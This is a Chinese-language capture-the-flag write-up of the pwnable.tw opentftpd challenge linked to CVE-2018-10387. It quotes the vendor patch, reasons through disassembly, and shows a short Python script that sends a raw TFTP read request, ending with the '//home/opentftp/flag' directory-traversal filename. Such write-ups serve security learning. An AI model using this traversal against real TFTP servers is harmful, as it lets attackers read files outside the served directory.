参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10387

patch

https://sourceforge.net/p/tftp-server/discussion/550564/thread/a586ce62/

源码

https://zh.osdn.net/projects/sfnet_tftp-server/releases/

闲来无事

这几天闲来无事,决定刷一刷题,于是就选择了pwnable.tw

赫然发现challange list里面出现了一个CVE,着实提起了我的兴趣,便下载下来分析一番

题目描述

题目描述

乍一看,加粗的remote code execution着实很显眼,明显是在暗示说这一题中具有远程代码执行的漏洞

初步分析

checksec

1
2
3
4
5
6
7
8
# dajun @ dajun-pc in ~/zoneOfDajun/pwndocker [22:00:15] 
$ checksec ./opentftpd
[*] '/home/dajun/zoneOfDajun/pwndocker/opentftpd'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

google搜索

循着CVE编号进行了一番查找,找到了发在某个网站的patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
From 786dbd8e50109a9c183461633ae4b1dffc0233ba Mon Sep 17 00:00:00 2001
From: 0xddaa <0xddaa@gmail.com>
Date: Wed, 25 Apr 2018 10:27:00 +0000
Subject: [PATCH 2/2] Fix heap overflow vulnerabiliy

---
opentftpd.cpp | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/opentftpd.cpp b/opentftpd.cpp
index 246f263..4916cb8 100755
--- a/opentftpd.cpp
+++ b/opentftpd.cpp
@@ -267,7 +267,8 @@ int main(int argc, char **argv)
}
else if (ntohs(datain->opcode) == 5)
{
- sprintf(req1->serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
+ snprintf(req1->serverError.errormessage, sizeof(req1->serverError.errormessage), "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
+ req1->serverError.errormessage[sizeof(req1->serverError.errormessage) - 1] = '\0';
logMess(req1, 1);
cleanReq(req1);
}
--
2.7.4

紧接着我又找到了源代码,之后便是随着代码在分析

乍一看,这里的patch很明显的告诉我们,sprintf函数因为没有指名长度,导致如果datain->buffer中的数据长度过长的话,会使req1->serverError.errormessage溢出,这里似乎是一个漏洞点

但转念一想,程序开启了canary,所以似乎得先泄露canary?且CVE的描述是heap based,而这只是个栈溢出啊?

随后经过动态调试后发现,原来在这条patch的上方已经有检测datain->buffer的长度的代码,这就表示在这里进行溢出是不可能的……

那这patch到底啥意思……

解决思路

直到我于某一刻看见了程序反汇编的这一句代码

IDA

IDA

位于processNew函数中,且不管前面是什么意思,程序在按照tftp协议中的get执行的时候,绝对会执行到这里,a1+48req->path,其中存储的是即将open的文件的完整路径(当然,这个路径是在tftp Server设置的根路径之下的),a1+312req->filename,也就是我们get的文件名

而我根据源代码进行编译之后,找到的这一处的代码是这样的

IDA

IDA

很明显与题目的代码不同

在这里,a1+48a1+312和上面的一样,::desttftp Server配置文件中所设置的根目录,比如我的根目录设置的是/tmp,那么理论上你get的所有请求只能在/tmp目录之下,且有代码专门检测../这样的不合法操作

到这里其实漏洞点就很清晰了

得到flag

nc过去之后,得到的是

start challenge on udp port: 61196

这么一句话,其中端口是个随机数

再加上在processNew这句代码中,有这一句

RECV

RECV

意思是如果req->filename的第一个字母是/,则跳过它

那么如果我们构造一个类似于//home这样的,跳过之后就得到了/home,经过strcpy之后req->path就成了/home,我们就实现了目录穿越

先用连接过去一次,尝试请求flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket
import time
from pwn import *
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

ip = 'chall.pwnable.tw'
port = 10206

context.log_level='debug'
io = remote(ip, port)
io.recvuntil('port: ')
udp_port = int(io.recvuntil('\n', drop=True))
payload = '\x00\x01flag\x00netascii\x00'
s.sendto(payload.encode('utf-8'), (ip, udp_port))
ret = s.recv(1024)
print(ret)

得到

1
2
3
4
5
$ python ./tftp.py 
[+] Opening connection to chall.pwnable.tw on port 10206: Done
[DEBUG] Received 0x23 bytes:
b'start challenge on udp port: 61182\n'
b'\x00\x03\x00\x01here is /tmp. flag is under /home/opentftp/flag.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n'

因此我们只需要请求//home/opentftp/flag就得到了flag

总结

这道题真的让我大跌眼镜,感觉这两天的分析完全白干了……